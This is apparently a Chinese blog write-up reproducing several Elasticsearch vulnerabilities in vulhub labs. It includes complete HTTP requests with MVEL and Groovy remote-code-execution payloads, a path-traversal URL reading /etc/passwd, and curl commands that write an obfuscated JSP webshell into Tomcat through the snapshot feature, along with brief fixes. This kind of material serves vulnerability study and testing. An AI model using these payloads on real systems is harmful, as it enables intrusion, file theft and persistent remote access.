• Elasticsearch漏洞复现


    简介

    漏洞环境均为vulhub。

    参考链接:

    百科:https://baike.baidu.com/item/elasticsearch/3411206?fr=aladdin

    https://blog.csdn.net/xiaoshuo566/article/details/102896173

    Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。Elasticsearch用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。官方客户端在Java、.NET(C#)、PHP、Python、Apache Groovy、Ruby和许多其他语言中都是可用的。根据DB-Engines的排名显示,Elasticsearch是最受欢迎的企业搜索引擎,其次是Apache Solr,也是基于Lucene。

    ElasticSearch启动时,会占用两个端口9200和9300。

    • 9200 是ES节点与外部通讯使用的端口。它是http协议的RESTful接口(各种CRUD操作都是走的该端口,如查询:http://localhost:9200/user/_search)。
    • 9300是ES节点之间通讯使用的端口。它是tcp通讯端口,集群间和TCPclient都走的它。(java程序中使用ES时,在配置文件中要配置该端口)

    CVE-2014-3120

    参考链接:

    https://www.cnblogs.com/sallyzhang/p/12450035.html

    https://www.tqwba.com/x_d/jishu/421071.html

    https://blog.csdn.net/qq_36374896/article/details/84145336

    ElasticSearch有脚本运行(scripting)的功能,能够非常方便地对查询出来的数据再加工处理。 ElasticSearch用的脚本引擎是MVEL,这个引擎没有做不论什么的防护,或者沙盒包装,所以直接能够运行随意代码。

    影响版本:ElasticSearch 1.2之前的版本

    漏洞复现

    启动docker环境,使用浏览器访问9200端口,首先需要使用ElasticSearch的目录创建数据。最开始我还以为访问uri会有web页面,发现并没有,所以下面的请求包可以直接在burp中使用,name名字自定义。

    POST /website/blog/ HTTP/1.1
    Host: 139.198.172.202:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 24
    
    {
    	"name": "ahtoh"
    }
    

    创建成功。

    使用漏洞payload进行命令执行,也是直接使用POST包,尴尬。。。

    POST /_search?pretty HTTP/1.1
    Host: 139.198.172.202:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 366
    
    {
        "size": 1,
        "query": {
          "filtered": {
            "query": {
              "match_all": {
              }
            }
          }
        },
        "script_fields": {
            "command": {
                "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();"
            }
        }
    }
        }
    }
    

    命令执行成功截图。

    其中Java等价于:

    String s1 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).useDelimiter("\A").next();
    //A means "start of string", and z means "end of string".
    String s2  = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).next();
    System.out.println(s1);
    

    漏洞修复

    1. 升级版本。
    2. 在elasticsearch.yml里配置script.disable_dynamic: true

    CVE-2015-1427

    参考链接:

    https://www.cnblogs.com/qianxiao996/p/13574653.html

    https://www.cnblogs.com/sxmcACM/p/4435842.html

    2014年爆出的(CVE-2014-3120),由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。

    这次轮到的Groovy,影响版本是Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令。

    漏洞复现

    跟2014-3120一样,复现前得先添加一条数据,还是这个。

    POST /website/blog/ HTTP/1.1
    Host: 139.198.172.202:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 24
    
    {
    	"name": "ahtoh"
    }
    

    执行成功会响应201,如上。

    利用反射机制执行JAVA代码Payload:

    POST /_search?pretty HTTP/1.1
    Host: 139.198.172.202:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 489
    
    {
        "size":1,
        "script_fields": {
            "test#": {  
                "script":
                    "java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getInputStream())).readLines()",
    
                "lang": "groovy"
            }
        }
    }
    

    执行成功截图:

    漏洞修复

    升级到 1.4.3 或者更新版本来修复这个漏洞

    CVE-2015-3337(任意文件读取)

    参考链接:

    https://blog.csdn.net/qq_36374896/article/details/84145527

    ElasticSearch安装site插件后,通过…/可以向上层目录跳转,导致任意文件读取。

    漏洞复现

    访问目的地址:http://139.198.172.202:9200/_plugin/head/

    emm,这个漏洞我一直复现失败,提示404,不知道为啥,就是文件读取,先不复现了。

    CVE-2015-5531(目录穿越)

    参考链接:

    https://www.cnblogs.com/sallyzhang/p/12457031.html

    https://www.cnblogs.com/qianxiao996/p/13574645.html

    https://www.anquanke.com/vul/id/1123057

    1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

    这个1.5.1可能有问题,因为我查到的其他漏洞版本都是1.6.1之前版本,这个我没有细纠了,因为我懒。

    漏洞复现

    使用PUT方式新建一个仓库。

    PUT /_snapshot/test HTTP/1.1
    Host: 139.198.172.202:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 108
    
    {
        "type": "fs",
        "settings": {
            "location": "/usr/share/elasticsearch/repo/test" 
        }
    }
    

    新建仓库成功。

    创建一个快照。

    PUT /_snapshot/test2 HTTP/1.1
    Host: 139.198.172.202:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 126
    
    {
        "type": "fs",
        "settings": {
            "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
        }
    }
    

    快照创建成功截图。

    访问链接进行文件读取操作:

    http://139.198.172.202:9200/_snapshot/test/backdata%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

    读取内容结果:

    读取后的内容是以ASCII码的形式返回,通过在Firefox或chrome浏览器的控制台中,输入String.fromCharCode(ASCII)进行结果查看。

    漏洞修复

    没有找到,

    WooYun-2015-110216

    参考链接:

    http://akevin.cn/index.php/archives/317/

    https://www.77169.net/html/258764.html

    ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

    和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。

    漏洞复现

    简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps;ElasticSearch目录在/usr/share/elasticsearch。我们的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps目录下写入我们的webshell。

    使用kali或其他Linux系统执行下面命令,创建一个恶意索引文档。

    curl -XPOST http://139.198.172.202:9200/yz.jsp/yz.jsp/1 -d '{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}'
    

    为啥要是用Linux系统执行这个curl命令,因为我用Windows自带的老是失败

    但是Linux的很容易成功。

    再使用curl创建一个恶意的存储库,其中location的值即为我们要写入的路径。写入文件的路径可以根据自己需要自定义,如果写入的路径不存在会自动创建,路径指向tomcat的web部署目录即可。

    这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。

    curl -XPUT 'http://139.198.172.202:9200/_snapshot/yz.jsp' -d '{ "type": "fs", "settings": { "location": "/usr/local/tomcat/webapps/wwwroot/", "compress": false } }'
    

    存储库验证并创建。

    curl -XPUT "http://139.198.172.202:9200/_snapshot/yz.jsp/yz.jsp" -d '{ "indices": "yz.jsp", "ignore_unavailable": "true", "include_global_state": false }'
    

    至此我们要写入webshell的文件已经创建完成,访问该文件。

    http://139.198.172.202:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp

    页面显示500,但是没有关系,我们在后面传入参数f,并指定一值ahtoh,便可以将ahtoh写入到/wwwroot/test.jsp文件中。

    漏洞修复

    1. 升级elasticsearch版本
    2. 漏洞利用条件还是有要求的,根据原理进行修复
    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    SQL SERVER之居然连计算机管理员都无法访问
    用户控件中动态加入脚本引用
    DIV中的对象错位问题
    IIS备份
    下载防盗链图片的关键
    DNS失效导致邮件发送不出去
    自定义ASP.NET服务器控件与用户控件
    生成SQL SERVER数据库脚本
    数据库的自动备份
    服务器的备份
  • 原文地址:https://www.cnblogs.com/ahtoh/p/14763396.html
Copyright © 2020-2023  润新知